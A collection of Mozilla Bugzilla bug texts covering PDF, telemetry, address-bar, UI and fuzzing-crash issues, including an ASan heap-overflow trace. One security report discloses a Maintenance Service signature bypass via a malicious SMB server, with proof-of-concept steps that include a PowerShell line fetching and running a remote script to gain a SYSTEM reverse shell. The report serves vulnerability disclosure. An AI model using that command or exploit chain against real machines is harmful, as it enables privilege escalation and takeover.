4. Observe the error displayed at the bottom of the page.
### Expected behavior
A download dialogue is displayed.
### Actual behavior
The "Unable to generate PDF" error is sometimes displayed when attempting to save a PDF.
### Device information
* Firefox version: Nightly 110.0a1 from 01/10
* Android device model: Google Pixel 6,
* Android OS version: Android 13
### Any additional information?
Clear STR could not be established since the error was only displayed on a several occasions, of different PDF files which could be downloaded in previous sessions.
Note that upon receiving the error, the PDF can be downloaded after performing some scrolling on the PDF before attempting to save the PDF again.
|
|
1,800,043 | 16,153,585 |
8 crashes from 6 installations on macOS, oldest reported version is Firefox 108.0a1 20221030090504.
Masayuki, are you aware of a change which would explain this?
Crash report: https://crash-stats.mozilla.org/report/index/c7e6a5ec-c3a3-4b7c-8b97-a34fd0221110
MOZ_CRASH Reason: ```MOZ_DIAGNOSTIC_ASSERT(ContentNodeType::FromNode(mParent))```
Top 10 frames of crashing thread:
```
0 XUL mozilla::EditorDOMPointBase<nsINode*, nsIContent*>::ContainerAs<mozilla::dom::Text> const editor/libeditor/EditorDOMPoint.h:214
0 XUL mozilla::EditorDOMPointBase<nsINode*, nsIContent*>::Char const editor/libeditor/EditorDOMPoint.h:390
1 XUL mozilla::EditorDOMPointBase<nsINode*, nsIContent*>::IsCharASCIISpaceOrNBSP const editor/libeditor/EditorDOMPoint.h:397
1 XUL mozilla::DeleteRangeTransaction::MaybeExtendDeletingRangeWithSurroundingWhitespace const editor/libeditor/DeleteRangeTransaction.cpp:76
1 XUL mozilla::DeleteRangeTransaction::DoTransaction editor/libeditor/DeleteRangeTransaction.cpp:125
2 XUL mozilla::EditAggregateTransaction::DoTransaction editor/libeditor/EditAggregateTransaction.cpp:38
3 XUL mozilla::TransactionItem::DoTransaction editor/txmgr/TransactionItem.cpp:83
3 XUL mozilla::TransactionManager::BeginTransaction editor/txmgr/TransactionManager.cpp:422
4 XUL mozilla::TransactionManager::DoTransaction editor/txmgr/TransactionManager.cpp:74
5 XUL mozilla::EditorBase::DoTransactionInternal editor/libeditor/EditorBase.cpp:908
```
|
|
1,800,184 | 16,154,680 |
Rebecca noticed that the telemetry data shows a significant number of quick suggest impressions with large `rowIndex` values. In the data she was looking at, there were 10,000's of impressions with indexes between 10 and 20, and >10% of clients with impressions had an index >10. These are significant numbers that can't be explained by users with custom values for the `maxRichResults` hidden preference.
UrlbarProviderQuickSuggest records an impression for each result it adds, even if the result isn't actually visible in the view at the time the engagement happens. The only reason the result wouldn't be visible is if the query is canceled before it finishes and before the remove-stale-rows timer fires.
So the only thing I can think of is that users are triggering quick suggest results with their search strings but then hitting enter very quickly before the query finishes. UrlbarProviderQuickSuggest doesn't finish its `startQuery()` until it receives a response from Merino, and it will wait up to 200ms, so maybe this isn't as far-fetched as it seems. (That's true only when Merino is enabled, as it was until very recently for Beta and Nightly users.)
Regardless of the cause, it's definitely incorrect for UrlbarProviderQuickSuggest to record an impression when its result is hidden, so we should fix that anyway.
|
|
1,800,380 | 16,156,322 |
Created attachment 9303207
firefox-typed-slug-address-bar-bug.png
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Steps to reproduce:
1) visit a random website... e.g. https://example.com/
2) add it to bookmarks (i added it to "Other Bookmarks" in my case, but i think it might work with any bookmarks section)
3) open a fresh tab (or window), close the old one
4) start typing the first few letters of that bookmarked address (e.g. "exam" in the case above)
5) CLICK (do not press Enter) on the first item that appears in the automatic drop-down (it should be the previously bookmarked URL)
note: i will check the "security" report checkbox in the bug submission form because this bug could result in accidental data leaks of typed data to search engines or unintended visits to other sites.
Actual results:
browser starts to run a (Google) search for the typed text fragment instead of accessing the site.
Expected results:
Browser should access the selected URL instead of sending the typed fragment to a search engine.
|
|
1,800,810 | 16,160,988 |
Bug 1800184 fixed the case where a quick suggest result is in the view but hidden, but I found one more case it didn't fix: The user can pick a result (i.e., complete an engagement) after the provider `add()`'ed it but before it's added to the view. [Edit: This sentence is confusing. What I mean is: After the quick suggest provider adds a result to the context but before that result is shown in the view, the user can pick another unrelated result in the view.] That means we can end up recording telemetry for results that aren't actually visible in the view, since the telemetry is based on `_resultFromLastQuery`, which is simply the result the provider added last.
In short we need to base engagement telemetry on the result that's visible in the view, not on the result the provider added last.
|
|
1,805,385 | 16,197,918 |
Created attachment 9307979
image_2022_12_13T09_22_40_065Z.png
**[Affected versions]:**
- Nightly 110.0b1
- Firefox Beta 109.0b1
**[Affected Platforms]:**
- Mac 12.4
- Windows 10 x64
- Linux Mint 20
**[Prerequisites]:**
- Have a Firefox RTL build extracted/installed (eg: ar build).
- Have the "nimbus.debug" set to true in about:config.
- Be enrolled in any of the experiment branches. You can force enroll by navigating to the following links: [Treatment A](about:studies?optin_slug=pdfjs-feature-callout&optin_branch=treatment-a&optin_collection=nimbus-preview) or [Treatment B](about:studies?optin_slug=pdfjs-feature-callout&optin_branch=treatment-b&optin_collection=nimbus-preview).
**[Steps to reproduce]:**
1. Open the Firefox browser with the profile from the prerequisites.
2. Navigate to a PDF link, eg: [TestPDFFile](https://www.clickdimensions.com/links/TestPDFfile.pdf).
3. Observe the Callout Tour for pdf.js.
**[Expected result]:**
- The Callout Tour for pdf.js is positioned in the left part pointing to the Text icon.
**[Actual result]:**
- The Callout Tour for pdf.js is positioned in the right part pointing to nothing in the toolbar.
**[Notes]:**
- The issue is also reproducible for the second screen.
- Attached is a screenshot of the issue.
|
|
1,805,391 | 16,197,959 |
**Found in**
* Firefox 109.0b1
**Affected versions**
* Firefox 109.0b1
* Firefox Nightly 110.0a1
**Tested platforms**
* Affected platforms: Windows 10x64, macOS 10.12, Ubuntu 18.4
* Unaffected platforms: none
**Steps to reproduce**
1. Open Firefox view tab and continue to sign in with a Firefox account
2. Log into Sync with valid credentials on another device and go through with the firefox view onboarding process for Tab Pickup
3. Perform the onboarding process, click on the "Learn how" link when progress is at 33% and 66%
**Expected result**
* The "Learn how" link correctly redirects the user to the SUMO page.
**Actual result**
* Firefox view "Learn how" link for SUMO page doesn't work
**Regression range**
* First bad: 2022-12-07
* Last good: 2022-12-06
* Pushlog: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=8e09abeeb445553bd956d537bcf54fcdf812bb52&tochange=8d20cccc1dc681d05d412be763ee5a0602a47a4a
* Potentially regressed by: Bug 1803505 - Simplify the tab-pickup-container initialization. r=sclements
|
|
1,805,883 | 16,201,063 |
STR
1. Use a Firefox version prior to 108
1. Set the default engine to an application provided one that is not the default engine.
1. Shutdown Firefox.
1. Create a new profile, and copy the `search.json.mozlz4` file into that profile.
* Note: [SUMO suggests](https://support.mozilla.org/en-US/kb/back-and-restore-information-firefox-profiles#firefox:win8:fx107) to copy the profile when moving to a new computer.
* Users may also simply copy the file to copy their search settings.
1. Startup Firefox with the new profile.
1. Upgrade Firefox to version 108.
Expected Results
=> The default search engine set in step 2 is retained.
Actual Results
=> The default search engine is reset to the application default (typically Google).
|
|
1,806,394 | 16,205,989 |
Created attachment 9308915
poc.zip
When updating with the Mozilla Maintenance Service, the update data is loaded via a user-controlled path that points to a mar archive. A signature check is performed, because only mar files from a trusted source should be used. The signature check only works as intended if the content of the mar file does not change, because the mar file is read twice, once for the signature check and once for the actual update. The mar file is only opened once and is write-locked so the mar file content should be static during the process, but this doesn't hold true if the file is read from a malicious SMB server. After the first read of the mar file for the signature verification, a malicious SMB server can provide a completely different mar file for the actual update so that the signature verification can be bypassed. This works at least on Windows 10 Pro, for which I was able to exploit the issue.
## Proof of Concept Exploit
The poc exploits the issue to invoke a reverse shell by the normal Windows user, running in the context of the LocalSystem account.
First the issue is exploited to downgrade `firefox 108.0.1` to a manipulated version of `firefox 47.0`. This version has the content of the `uninstaller\helper.exe` replaced with the content of the `updater.exe` and an addtional `uninstaller\MSASN1.dll` which contains a reverse shell payload. After the downgrade the MozillaMaintenance is used again. During the second update the `helper.exe` is called which loads the `MSASN1.dll` and executes the payload.
I tested the exploit on a fresh install of Windows 10 Pro with Microsoft Defender enabled. Antivirus solutions can interfere with the poc. The poc doesn't work if Microsoft Defender is disabled. The poc expects the mar file to be read twice (probably antivirus check + signature check) before a manipulated mar file will be delivered.
For the malicous SMB server the impacket python module is used.
### Steps to Reproduce:
On computer A which needs docker:
1.) download and extract poc files
2.) build docker container: `sudo docker build -t ffpoc .`
3.) start docker container: `sudo docker run --rm -it --name ffpoc -p 444:444 -p 445:445 -p 8080:8080 ffpoc <ip>`
`<ip>` has to be the reachable from the victim. Wait until the poc setup is completed.
On the victim computer B which has installed `Firefox 108.0.1` to `"C:\Program Files\Mozilla Firefox"` and the MozillaMaintenance Service to `"C:\Program Files (x86)\Mozilla Maintenance Service"` and has SMB enabled:
1.) Open the powershell console as the standard windows user and execute: `IEX (New-Object Net.WebClient).DownloadString('http://<ip>/client.ps1')`. After a few minutes a reverse shell from computer B to computer A will be started. Type `whoami` to check for priviledge escalation to the LocalSystem account.
|
|
1,806,652 | 16,207,709 |
Created attachment 9309175
android13.mp4
### Steps to reproduce
1. Install Focus Nightly 110.0a1 on an Android 13 device
2. Open youtube.com, or vimeo.com.
3. Start a video, then access the fullscreen option.
### Expected behavior
The video is displayed in fullscreen without issues.
### Actual behavior
The video is displayed in fullscreen, but the screen is white. The video continues to play, audio can be still heard, but no video. Tapping on the device's home button, triggers the PiP, that is still with blank screen.
NOT reproducible on the latest Fenix nightly 110.0a1.
### Device information
* Focus version: all (110.0a1 Nightly from 12/20, Beta 109.0b2, RC 108.1.0 - builds from https://firefox-ci-tc.services.mozilla.com/tasks/index/mobile.v3.firefox-android.apks
* Android device: Google Pixel 6 (Android 13)
* NOT reproducible on: Oppo Reno 6 (Android 12)
* Works fine on the RC 108.1.0 build from PlayStore
|
|
1,806,974 | 16,210,207 |
The attached testcase crashes on mozilla-central revision 20221219-91a9bbbe6bea (non-debug fuzzing ASan build).
For detailed crash information, see attachment.
To reproduce the issue, perform the following steps:
1. Download the attached testcase, save as "test.bin".
2a. Build with `--enable-fuzzing` (requires Clang and ASan, also build gtests using `./mach gtest dontruntests`).
2b. Alternatively you can download builds from TC using `python -mfuzzfetch -a --fuzzing --target firefox gtest` (see https://github.com/MozillaSecurity/fuzzfetch).
3. Run `FUZZER=NetworkHttp2ProxyHttp2 objdir/dist/bin/firefox test.bin`
I reproduced this locally and it crashes consistently.
|
|
1,813,284 | 16,255,346 |
Created attachment 9314667
testcase.zip
Found while fuzzing m-c 20230106-7968ae37c117 (--enable-address-sanitizer --enable-fuzzing)
To reproduce via Grizzly Replay:
```
$ pip install fuzzfetch grizzly-framework
$ python -m fuzzfetch -a --fuzzing -n firefox
$ python -m grizzly.replay ./firefox/firefox testcase.zip
```
```
==40760==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200012db48 at pc 0x7f57c98e01b6 bp 0x7f57238ca310 sp 0x7f57238ca308
WRITE of size 16 at 0x60200012db48 thread T18
#0 0x7f57c98e01b5 in transform<const unsigned char *, char *, (lambda at /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:644:20)> /builds/worker/fetches/sysroot-x86_64-linux-gnu/usr/lib/gcc/x86_64-linux-gnu/7.5.0/../../../../include/c++/7.5.0/bits/stl_algo.h:4306:12
#1 0x7f57c98e01b5 in mozilla::Result<mozilla::Ok, nsresult> mozilla::dom::indexedDB::Key::EncodeAsString<unsigned char>(mozilla::Span<unsigned char const, 18446744073709551615ul>, unsigned char) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:643:5
#2 0x7f57c98dd2f3 in mozilla::dom::indexedDB::Key::EncodeBinary(JSObject*, bool, unsigned char) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:845:10
#3 0x7f57c98dbb5c in mozilla::dom::indexedDB::Key::EncodeJSValInternal(JSContext*, JS::Handle<JS::Value>, unsigned char, unsigned short) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:441:14
#4 0x7f57c98e1e09 in mozilla::dom::indexedDB::Key::ArrayValueEncoder::ConvertSubkey(JSContext*, JS::Handle<JS::Value>, unsigned int) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:354:14
#5 0x7f57c98dd944 in mozilla::Result<mozilla::Ok, mozilla::dom::indexedDB::detail::IDBError<(mozilla::dom::indexedDB::IDBSpecialValue)1>> mozilla::dom::indexedDB::(anonymous namespace)::ConvertArrayValueToKey<mozilla::dom::indexedDB::Key::ArrayValueEncoder>(JSContext*, JS::Handle<JSObject*>, mozilla::dom::indexedDB::Key::ArrayValueEncoder&&) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:92:27
#6 0x7f57c98dbd67 in mozilla::dom::indexedDB::Key::EncodeJSValInternal(JSContext*, JS::Handle<JS::Value>, unsigned char, unsigned short) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:446:14
#7 0x7f57c98e0e09 in EncodeJSVal /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:546:10
#8 0x7f57c98e0e09 in mozilla::dom::indexedDB::Key::SetFromJSVal(JSContext*, JS::Handle<JS::Value>) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:901:17
#9 0x7f57c993d984 in mozilla::dom::IDBFactory::Cmp(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/worker/checkouts/gecko/dom/indexedDB/IDBFactory.cpp:431:23
#10 0x7f57c58b328a in mozilla::dom::IDBFactory_Binding::cmp(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /builds/worker/workspace/obj-build/dom/bindings/IDBFactoryBinding.cpp:343:39
#11 0x7f57c70f9ba5 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3308:13
#12 0x7f57cfd0bc74 in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:459:13
#13 0x7f57cfd0bc74 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:547:12
#14 0x7f57cfcfac5a in InternalCall /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:614:10
#15 0x7f57cfcfac5a in CallFromStack /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:619:10
#16 0x7f57cfcfac5a in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3362:16
#17 0x7f57cfcded7c in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:431:13
#18 0x7f57cfd0f6f9 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:812:13
#19 0x7f57cfe457ae in EvaluateSourceBuffer<mozilla::Utf8Unit> /builds/worker/checkouts/gecko/js/src/vm/CompilationAndEvaluation.cpp:537:10
#20 0x7f57cfe457ae in JS::Evaluate(JSContext*, JS::ReadOnlyCompileOptions const&, JS::SourceText<mozilla::Utf8Unit>&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/CompilationAndEvaluation.cpp:545:10
#21 0x7f57ca008896 in EvaluateSourceBuffer<mozilla::Utf8Unit> /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:455:10
#22 0x7f57ca008896 in mozilla::dom::workerinternals::loader::WorkerScriptLoader::EvaluateScript(JSContext*, JS::loader::ScriptLoadRequest*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1102:13
#23 0x7f57ca007ffe in mozilla::dom::workerinternals::loader::WorkerScriptLoader::ProcessPendingRequests(JSContext*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:800:10
#24 0x7f57ca011493 in mozilla::dom::workerinternals::loader::ScriptExecutorRunnable::ProcessClassicScripts(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1525:25
#25 0x7f57ca0115ad in mozilla::dom::workerinternals::loader::ScriptExecutorRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1541:10
#26 0x7f57ca06a550 in mozilla::dom::WorkerRunnable::Run() /builds/worker/checkouts/gecko/dom/workers/WorkerRunnable.cpp:377:12
#27 0x7f57c1eb932b in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1191:16
#28 0x7f57c1ec2e04 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:477:10
#29 0x7f57ca05a845 in mozilla::dom::WorkerPrivate::RunCurrentSyncLoop() /builds/worker/checkouts/gecko/dom/workers/WorkerPrivate.cpp:4312:9
#30 0x7f57c7cfc42e in mozilla::dom::AutoSyncLoopHolder::Run() /builds/worker/workspace/obj-build/dist/include/mozilla/dom/WorkerPrivate.h:1526:27
#31 0x7f57ca0124c2 in mozilla::dom::workerinternals::(anonymous namespace)::LoadAllScripts(mozilla::dom::WorkerPrivate*, mozilla::UniquePtr<mozilla::dom::SerializedStackHolder, mozilla::DefaultDelete<mozilla::dom::SerializedStackHolder>>, nsTArray<nsTString<char16_t>> const&, bool, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&, mozilla::Encoding const*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:249:14
#32 0x7f57ca012042 in mozilla::dom::workerinternals::LoadMainScript(mozilla::dom::WorkerPrivate*, mozilla::UniquePtr<mozilla::dom::SerializedStackHolder, mozilla::DefaultDelete<mozilla::dom::SerializedStackHolder>>, nsTSubstring<char16_t> const&, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&, mozilla::Encoding const*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1661:3
#33 0x7f57ca07c707 in mozilla::dom::(anonymous namespace)::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/checkouts/gecko/dom/workers/WorkerPrivate.cpp:381:5
#34 0x7f57ca06a550 in mozilla::dom::WorkerRunnable::Run() /builds/worker/checkouts/gecko/dom/workers/WorkerRunnable.cpp:377:12
#35 0x7f57c1eb932b in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1191:16
#36 0x7f57c1ec2e04 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:477:10
#37 0x7f57ca0521ac in mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*) /builds/worker/checkouts/gecko/dom/workers/WorkerPrivate.cpp:3265:7
#38 0x7f57ca028702 in mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/worker/checkouts/gecko/dom/workers/RuntimeService.cpp:2044:42
#39 0x7f57c1eb932b in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1191:16
#40 0x7f57c1ec2e04 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:477:10
#41 0x7f57c3645f14 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/worker/checkouts/gecko/ipc/glue/MessagePump.cpp:300:20
#42 0x7f57c34c3877 in RunInternal /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:381:10
#43 0x7f57c34c3877 in RunHandler /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:374:3
#44 0x7f57c34c3877 in MessageLoop::Run() /builds/worker/checkouts/gecko/ipc/chromium/src/base/message_loop.cc:356:3
#45 0x7f57c1eb0e05 in nsThread::ThreadFunc(void*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:383:10
#46 0x7f57e4391628 in _pt_root /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:201:5
#47 0x7f57e47f4b42 in start_thread nptl/pthread_create.c:442:8
#48 0x7f57e48869ff misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x60200012db48 is located 8 bytes to the right of 16-byte region [0x60200012db30,0x60200012db40)
allocated by thread T18 here:
#0 0x5613db6eb8ee in malloc /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:69:3
#1 0x7f57c1c1a235 in Alloc /builds/worker/checkouts/gecko/xpcom/string/nsStringBuffer.cpp:68:42
#2 0x7f57c1c1a235 in nsTSubstring<char>::StartBulkWriteImpl(unsigned long, unsigned long, bool, unsigned long, unsigned long, unsigned long) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:232:32
#3 0x7f57c1c298db in SetLength /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:960:12
#4 0x7f57c1c298db in nsTSubstring<char>::EnsureMutable(unsigned long) /builds/worker/checkouts/gecko/xpcom/string/nsTSubstring.cpp:381:10
#5 0x7f57c1c3f91a in nsTSubstring<char>::GetMutableData(char**, unsigned long) /builds/worker/workspace/obj-build/dist/include/nsTSubstring.h:1020:10
#6 0x7f57c98dffa6 in mozilla::Result<mozilla::Ok, nsresult> mozilla::dom::indexedDB::Key::EncodeAsString<unsigned char>(mozilla::Span<unsigned char const, 18446744073709551615ul>, unsigned char) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:609:16
#7 0x7f57c98dd2f3 in mozilla::dom::indexedDB::Key::EncodeBinary(JSObject*, bool, unsigned char) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:845:10
#8 0x7f57c98dbb5c in mozilla::dom::indexedDB::Key::EncodeJSValInternal(JSContext*, JS::Handle<JS::Value>, unsigned char, unsigned short) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:441:14
#9 0x7f57c98e1e09 in mozilla::dom::indexedDB::Key::ArrayValueEncoder::ConvertSubkey(JSContext*, JS::Handle<JS::Value>, unsigned int) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:354:14
#10 0x7f57c98dd944 in mozilla::Result<mozilla::Ok, mozilla::dom::indexedDB::detail::IDBError<(mozilla::dom::indexedDB::IDBSpecialValue)1>> mozilla::dom::indexedDB::(anonymous namespace)::ConvertArrayValueToKey<mozilla::dom::indexedDB::Key::ArrayValueEncoder>(JSContext*, JS::Handle<JSObject*>, mozilla::dom::indexedDB::Key::ArrayValueEncoder&&) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:92:27
#11 0x7f57c98dbd67 in mozilla::dom::indexedDB::Key::EncodeJSValInternal(JSContext*, JS::Handle<JS::Value>, unsigned char, unsigned short) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:446:14
#12 0x7f57c98e0e09 in EncodeJSVal /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:546:10
#13 0x7f57c98e0e09 in mozilla::dom::indexedDB::Key::SetFromJSVal(JSContext*, JS::Handle<JS::Value>) /builds/worker/checkouts/gecko/dom/indexedDB/Key.cpp:901:17
#14 0x7f57c993d984 in mozilla::dom::IDBFactory::Cmp(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, mozilla::ErrorResult&) /builds/worker/checkouts/gecko/dom/indexedDB/IDBFactory.cpp:431:23
#15 0x7f57c58b328a in mozilla::dom::IDBFactory_Binding::cmp(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /builds/worker/workspace/obj-build/dom/bindings/IDBFactoryBinding.cpp:343:39
#16 0x7f57c70f9ba5 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/checkouts/gecko/dom/bindings/BindingUtils.cpp:3308:13
#17 0x7f57cfd0bc74 in CallJSNative /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:459:13
#18 0x7f57cfd0bc74 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:547:12
#19 0x7f57cfcfac5a in InternalCall /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:614:10
#20 0x7f57cfcfac5a in CallFromStack /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:619:10
#21 0x7f57cfcfac5a in Interpret(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:3362:16
#22 0x7f57cfcded7c in js::RunScript(JSContext*, js::RunState&) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:431:13
#23 0x7f57cfd0f6f9 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/Interpreter.cpp:812:13
#24 0x7f57cfe457ae in EvaluateSourceBuffer<mozilla::Utf8Unit> /builds/worker/checkouts/gecko/js/src/vm/CompilationAndEvaluation.cpp:537:10
#25 0x7f57cfe457ae in JS::Evaluate(JSContext*, JS::ReadOnlyCompileOptions const&, JS::SourceText<mozilla::Utf8Unit>&, JS::MutableHandle<JS::Value>) /builds/worker/checkouts/gecko/js/src/vm/CompilationAndEvaluation.cpp:545:10
#26 0x7f57ca008896 in EvaluateSourceBuffer<mozilla::Utf8Unit> /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:455:10
#27 0x7f57ca008896 in mozilla::dom::workerinternals::loader::WorkerScriptLoader::EvaluateScript(JSContext*, JS::loader::ScriptLoadRequest*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1102:13
#28 0x7f57ca007ffe in mozilla::dom::workerinternals::loader::WorkerScriptLoader::ProcessPendingRequests(JSContext*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:800:10
#29 0x7f57ca011493 in mozilla::dom::workerinternals::loader::ScriptExecutorRunnable::ProcessClassicScripts(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1525:25
#30 0x7f57ca0115ad in mozilla::dom::workerinternals::loader::ScriptExecutorRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1541:10
#31 0x7f57ca06a550 in mozilla::dom::WorkerRunnable::Run() /builds/worker/checkouts/gecko/dom/workers/WorkerRunnable.cpp:377:12
#32 0x7f57c1eb932b in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:1191:16
#33 0x7f57c1ec2e04 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/checkouts/gecko/xpcom/threads/nsThreadUtils.cpp:477:10
#34 0x7f57ca05a845 in mozilla::dom::WorkerPrivate::RunCurrentSyncLoop() /builds/worker/checkouts/gecko/dom/workers/WorkerPrivate.cpp:4312:9
#35 0x7f57c7cfc42e in mozilla::dom::AutoSyncLoopHolder::Run() /builds/worker/workspace/obj-build/dist/include/mozilla/dom/WorkerPrivate.h:1526:27
#36 0x7f57ca0124c2 in mozilla::dom::workerinternals::(anonymous namespace)::LoadAllScripts(mozilla::dom::WorkerPrivate*, mozilla::UniquePtr<mozilla::dom::SerializedStackHolder, mozilla::DefaultDelete<mozilla::dom::SerializedStackHolder>>, nsTArray<nsTString<char16_t>> const&, bool, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&, mozilla::Encoding const*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:249:14
#37 0x7f57ca012042 in mozilla::dom::workerinternals::LoadMainScript(mozilla::dom::WorkerPrivate*, mozilla::UniquePtr<mozilla::dom::SerializedStackHolder, mozilla::DefaultDelete<mozilla::dom::SerializedStackHolder>>, nsTSubstring<char16_t> const&, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&, mozilla::Encoding const*) /builds/worker/checkouts/gecko/dom/workers/ScriptLoader.cpp:1661:3
Thread T18 created by T0 (Isolated Servic) here:
#0 0x5613db6d47dc in pthread_create /builds/worker/fetches/llvm-project/compiler-rt/lib/asan/asan_interceptors.cpp:208:3
#1 0x7f57e43816f9 in _PR_CreateThread /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:458:14
#2 0x7f57e4372b6e in PR_CreateThread /builds/worker/checkouts/gecko/nsprpub/pr/src/pthreads/ptthread.c:533:12
#3 0x7f57c1eb42ab in nsThread::Init(nsTSubstring<char> const&) /builds/worker/checkouts/gecko/xpcom/threads/nsThread.cpp:618:18
#4 0x7f57ca078a0a in mozilla::dom::WorkerThread::Create(mozilla::dom::WorkerThreadFriendKey const&) /builds/worker/checkouts/gecko/dom/workers/WorkerThread.cpp:102:7
#5 0x7f57c9ffef87 in mozilla::dom::workerinternals::RuntimeService::ScheduleWorker(mozilla::dom::WorkerPrivate&) /builds/worker/checkouts/gecko/dom/workers/RuntimeService.cpp:1325:37
#6 0x7f57c9ffdcea in mozilla::dom::workerinternals::RuntimeService::RegisterWorker(mozilla::dom::WorkerPrivate&) /builds/worker/checkouts/gecko/dom/workers/RuntimeService.cpp:1207:19
